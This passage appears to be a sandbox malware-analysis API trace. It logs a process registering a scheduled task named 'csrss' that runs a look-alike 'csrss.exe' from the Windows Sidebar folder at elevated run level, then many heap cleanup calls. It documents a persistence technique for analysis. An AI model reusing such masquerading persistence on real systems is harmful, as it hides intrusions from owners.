wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21cc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0058.081] TaskScheduler:IUnknown:AddRef (This=0x35dee0) returned 0x2 [0058.081] TaskScheduler:ITaskService:GetFolder (in: This=0x35dee0, Path=0x0, ppFolder=0x21cd68 | out: ppFolder=0x21cd68*=0x347d60) returned 0x0 [0058.084] TaskScheduler:ITaskService:NewTask (in: This=0x35dee0, flags=0x0, ppDefinition=0x21cd60 | out: ppDefinition=0x21cd60*=0x347db0) returned 0x0 [0058.084] ITaskDefinition:get_Actions (in: This=0x347db0, ppActions=0x21cce0 | out: ppActions=0x21cce0*=0x347e70) returned 0x0 [0058.084] IActionCollection:Create (in: This=0x347e70, Type=0, ppAction=0x21cd00 | out: ppAction=0x21cd00*=0x346600) returned 0x0 [0058.084] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.084] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.084] lstrlenW (lpString=" ") returned 1 [0058.085] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.085] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.085] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0058.085] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.086] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.086] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.086] IUnknown:Release (This=0x346600) returned 0x1 [0058.087] IUnknown:Release (This=0x347e70) returned 0x1 [0058.087] ITaskDefinition:get_Triggers (in: This=0x347db0, ppTriggers=0x21c860 | out: ppTriggers=0x21c860*=0x346370) returned 0x0 [0058.087] ITriggerCollection:Create (in: This=0x346370, Type=9, ppTrigger=0x21c858 | out: ppTrigger=0x21c858*=0x346670) returned 0x0 [0058.098] IUnknown:QueryInterface (in: This=0x346670, riid=0xff691c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x21c850 | out: ppvObject=0x21c850*=0x346670) returned 0x0 [0058.098] IUnknown:Release (This=0x346670) returned 0x2 [0058.098] _vsnwprintf (in: _Buffer=0x21c7a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c778 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0058.098] ITrigger:put_StartBoundary (This=0x346670, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0058.098] lstrlenW (lpString="") returned 0 [0058.098] lstrlenW (lpString="") returned 0 [0058.098] lstrlenW (lpString="") returned 0 [0058.098] lstrlenW (lpString="") returned 0 [0058.098] IUnknown:Release (This=0x346670) returned 0x1 [0058.098] IUnknown:Release (This=0x346370) returned 0x1 [0058.098] ITaskDefinition:get_Settings (in: This=0x347db0, ppSettings=0x21cd00 | out: ppSettings=0x21cd00*=0x3463e0) returned 0x0 [0058.099] lstrlenW (lpString="") returned 0 [0058.099] IUnknown:Release (This=0x3463e0) returned 0x1 [0058.099] GetLocalTime (in: lpSystemTime=0x21cbb8 | out: lpSystemTime=0x21cbb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2a, wMilliseconds=0x2f0)) [0058.099] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0058.099] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0058.099] GetUserNameW (in: lpBuffer=0x21cbe0, pcbBuffer=0x21cbc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21cbc8) returned 1 [0058.100] ITaskDefinition:get_RegistrationInfo (in: This=0x347db0, ppRegistrationInfo=0x21cbb0 | out: ppRegistrationInfo=0x21cbb0*=0x347ef0) returned 0x0 [0058.100] IRegistrationInfo:put_Author (This=0x347ef0, Author="") returned 0x0 [0058.100] _vsnwprintf (in: _Buffer=0x21cbe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21cb78 | out: _Buffer="2023-09-19T17:16:42") returned 19 [0058.100] IRegistrationInfo:put_Date (This=0x347ef0, Date="") returned 0x0 [0058.100] IUnknown:Release (This=0x347ef0) returned 0x1 [0058.100] malloc (_Size=0x18) returned 0x346760 [0058.100] free (_Block=0x346760) [0058.100] lstrlenW (lpString="") returned 0 [0058.100] ITaskDefinition:get_Principal (in: This=0x347db0, ppPrincipal=0x21cdd0 | out: ppPrincipal=0x21cdd0*=0x346550) returned 0x0 [0058.100] IPrincipal:put_RunLevel (This=0x346550, RunLevel=1) returned 0x0 [0058.100] IUnknown:Release (This=0x346550) returned 0x1 [0058.101] malloc (_Size=0x18) returned 0x346760 [0058.101] ITaskFolder:RegisterTaskDefinition (in: This=0x347d60, Path="csrss", pDefinition=0x347db0, flags=6, UserId=0x21ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21ce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21ed60, varVal2=0xfe), LogonType=3, sddl=0x21ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21cd70 | out: ppTask=0x21cd70*=0x346900) returned 0x0 [0058.613] free (_Block=0x346760) [0058.613] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.613] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0058.613] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0058.613] GetProcessHeap () returned 0x60000 [0058.613] GetProcessHeap () returned 0x60000 [0058.613] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d700) returned 1 [0058.613] GetProcessHeap () returned 0x60000 [0058.613] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d700) returned 0xe [0058.613] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d700 | out: hHeap=0x60000) returned 1 [0058.613] GetProcessHeap () returned 0x60000 [0058.613] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x82) returned 0x99c40 [0058.613] _vsnwprintf (in: _Buffer=0x21d4b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21cd18 | out: _Buffer="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n") returned 67 [0058.613] _fileno (_File=0x7feffe22ab0) returned -2 [0058.613] _errno () returned 0x344bb0 [0058.613] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0058.613] SetLastError (dwErrCode=0x6) [0058.613] lstrlenW (lpString="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n") returned 67 [0058.613] GetConsoleOutputCP () returned 0x0 [0058.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0058.614] GetConsoleOutputCP () returned 0x0 [0058.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff6d1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0058.614] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0058.614] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0058.614] IUnknown:Release (This=0x346900) returned 0x0 [0058.614] TaskScheduler:IUnknown:Release (This=0x347db0) returned 0x0 [0058.614] TaskScheduler:IUnknown:Release (This=0x347d60) returned 0x0 [0058.614] TaskScheduler:IUnknown:Release (This=0x35dee0) returned 0x1 [0058.614] lstrlenW (lpString="") returned 0 [0058.614] GetProcessHeap () returned 0x60000 [0058.614] GetProcessHeap () returned 0x60000 [0058.614] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c470) returned 1 [0058.614] GetProcessHeap () returned 0x60000 [0058.614] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c470) returned 0x1fc [0058.615] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c470 | out: hHeap=0x60000) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d680) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d680) returned 0x16 [0058.615] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d680 | out: hHeap=0x60000) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d660) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d660) returned 0x18 [0058.615] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d660 | out: hHeap=0x60000) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ced0) returned 1 [0058.615] GetProcessHeap () returned 0x60000 [0058.615] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ced0) returned 0x20 [0058.616] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ced0 | out: hHeap=0x60000) returned 1 [0058.616] GetProcessHeap () returned 0x60000 [0058.616] GetProcessHeap () returned 0x60000 [0058.616] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c150) returned 1 [0058.616] GetProcessHeap () returned 0x60000 [0058.616] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c150) returned 0xa0 [0058.616] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c150 | out: hHeap=0x60000) returned 1 [0058.616] GetProcessHeap () returned 0x60000 [0058.616] GetProcessHeap () returned 0x60000 [0058.616] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbd0) returned 1 [0058.617] GetProcessHeap () returned 0x60000 [0058.617] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbd0) returned 0x18 [0058.617] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbd0 | out: hHeap=0x60000) returned 1 [0058.617] GetProcessHeap () returned 0x60000 [0058.617] GetProcessHeap () returned 0x60000 [0058.617] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90) returned 1 [0058.617] GetProcessHeap () returned 0x60000 [0058.617] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc90) returned 0x20 [0058.618] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc90 | out: hHeap=0x60000) returned 1 [0058.618] GetProcessHeap () returned 0x60000 [0058.618] GetProcessHeap () returned 0x60000 [0058.618] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3b0) returned 1 [0058.618] GetProcessHeap () returned 0x60000 [0058.618] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3b0) returned 0x66 [0058.619] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3b0 | out: hHeap=0x60000) returned 1 [0058.619] GetProcessHeap () returned 0x60000 [0058.619] GetProcessHeap () returned 0x60000 [0058.620] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6a0) returned 1 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6a0) returned 0x18 [0058.620] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6a0 | out: hHeap=0x60000) returned 1 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60) returned 1 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc60) returned 0x20 [0058.620] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc60 | out: hHeap=0x60000) returned 1 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7de10) returned 1 [0058.620] GetProcessHeap () returned 0x60000 [0058.620] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7de10) returned 0x68 [0058.621] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7de10 | out: hHeap=0x60000) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d640) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d640) returned 0x18 [0058.621] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d640 | out: hHeap=0x60000) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc30) returned 0x20 [0058.621] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc30 | out: hHeap=0x60000) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c450) returned 1 [0058.621] GetProcessHeap () returned 0x60000 [0058.621] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c450) returned 0xe [0058.622] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c450 | out: hHeap=0x60000) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c430) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c430) returned 0x18 [0058.622] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c430 | out: hHeap=0x60000) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75e50) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75e50) returned 0x20 [0058.622] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75e50 | out: hHeap=0x60000) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] GetProcessHeap () returned 0x60000 [0058.622] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bd50) returned 1 [0058.622] GetProcessHeap () returned 0x60000 [0058.623] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bd50) returned 0x208 [0058.623] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bd50 | out: hHeap=0x60000) returned 1 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbb0) returned 1 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbb0) returned 0x18 [0058.623] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbb0 | out: hHeap=0x60000) returned 1 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d60) returned 1 [0058.623] GetProcessHeap () returned 0x60000 [0058.623] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d60) returned 0x20 [0058.624] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d60 | out: hHeap=0x60000) returned 1 [0058.624] GetProcessHeap () returned 0x60000 [0058.624] GetProcessHeap () returned 0x60000 [0058.624] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d400) returned 1 [0058.624] GetProcessHeap () returned 0x60000 [0058.624] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d400) returned 0x200 [0058.624] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d400 | out: hHeap=0x60000) returned 1 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbf0) returned 1 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbf0) returned 0x18 [0058.625] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbf0 | out: hHeap=0x60000) returned 1 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75cd0) returned 1 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75cd0) returned 0x20 [0058.625] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75cd0 | out: hHeap=0x60000) returned 1 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] GetProcessHeap () returned 0x60000 [0058.625] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360) returned 1 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c360) returned 0x14 [0058.626] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360 | out: hHeap=0x60000) returned 1 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c340) returned 1 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c340) returned 0x18 [0058.626] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c340 | out: hHeap=0x60000) returned 1 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c10) returned 1 [0058.626] GetProcessHeap () returned 0x60000 [0058.626] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c10) returned 0x20 [0058.627] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c10 | out: hHeap=0x60000) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c380) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c380) returned 0x16 [0058.627] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c380 | out: hHeap=0x60000) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c200) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c200) returned 0x18 [0058.627] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c200 | out: hHeap=0x60000) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75be0) returned 1 [0058.627] GetProcessHeap () returned 0x60000 [0058.627] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75be0) returned 0x20 [0058.628] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75be0 | out: hHeap=0x60000) returned 1 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb30) returned 1 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb30) returned 0x2 [0058.628] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb30 | out: hHeap=0x60000) returned 1 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a30) returned 1 [0058.628] GetProcessHeap () returned 0x60000 [0058.628] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a30) returned 0x20 [0058.629] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a30 | out: hHeap=0x60000) returned 1 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a60) returned 1 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a60) returned 0x20 [0058.629] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a60 | out: hHeap=0x60000) returned 1 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a90) returned 1 [0058.629] GetProcessHeap () returned 0x60000 [0058.629] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a90) returned 0x20 [0058.630] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a90 | out: hHeap=0x60000) returned 1 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ac0) returned 1 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ac0) returned 0x20 [0058.630] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ac0 | out: hHeap=0x60000) returned 1 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0) returned 1 [0058.630] GetProcessHeap () returned 0x60000 [0058.630] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccc0) returned 0x20 [0058.631] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccc0 | out: hHeap=0x60000) returned 1 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0) returned 1 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d7a0) returned 0xc [0058.631] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d7a0 | out: hHeap=0x60000) returned 1 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0) returned 1 [0058.631] GetProcessHeap () returned 0x60000 [0058.631] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccf0) returned 0x20 [0058.632] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccf0 | out: hHeap=0x60000) returned 1 [0058.632] GetProcessHeap () returned 0x60000 [0058.632] GetProcessHeap () returned 0x60000 [0058.632] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77bc0) returned 1 [0058.632] GetProcessHeap () returned 0x60000 [0058.632] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77bc0) returned 0x30 [0058.633] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77bc0 | out: hHeap=0x60000) returned 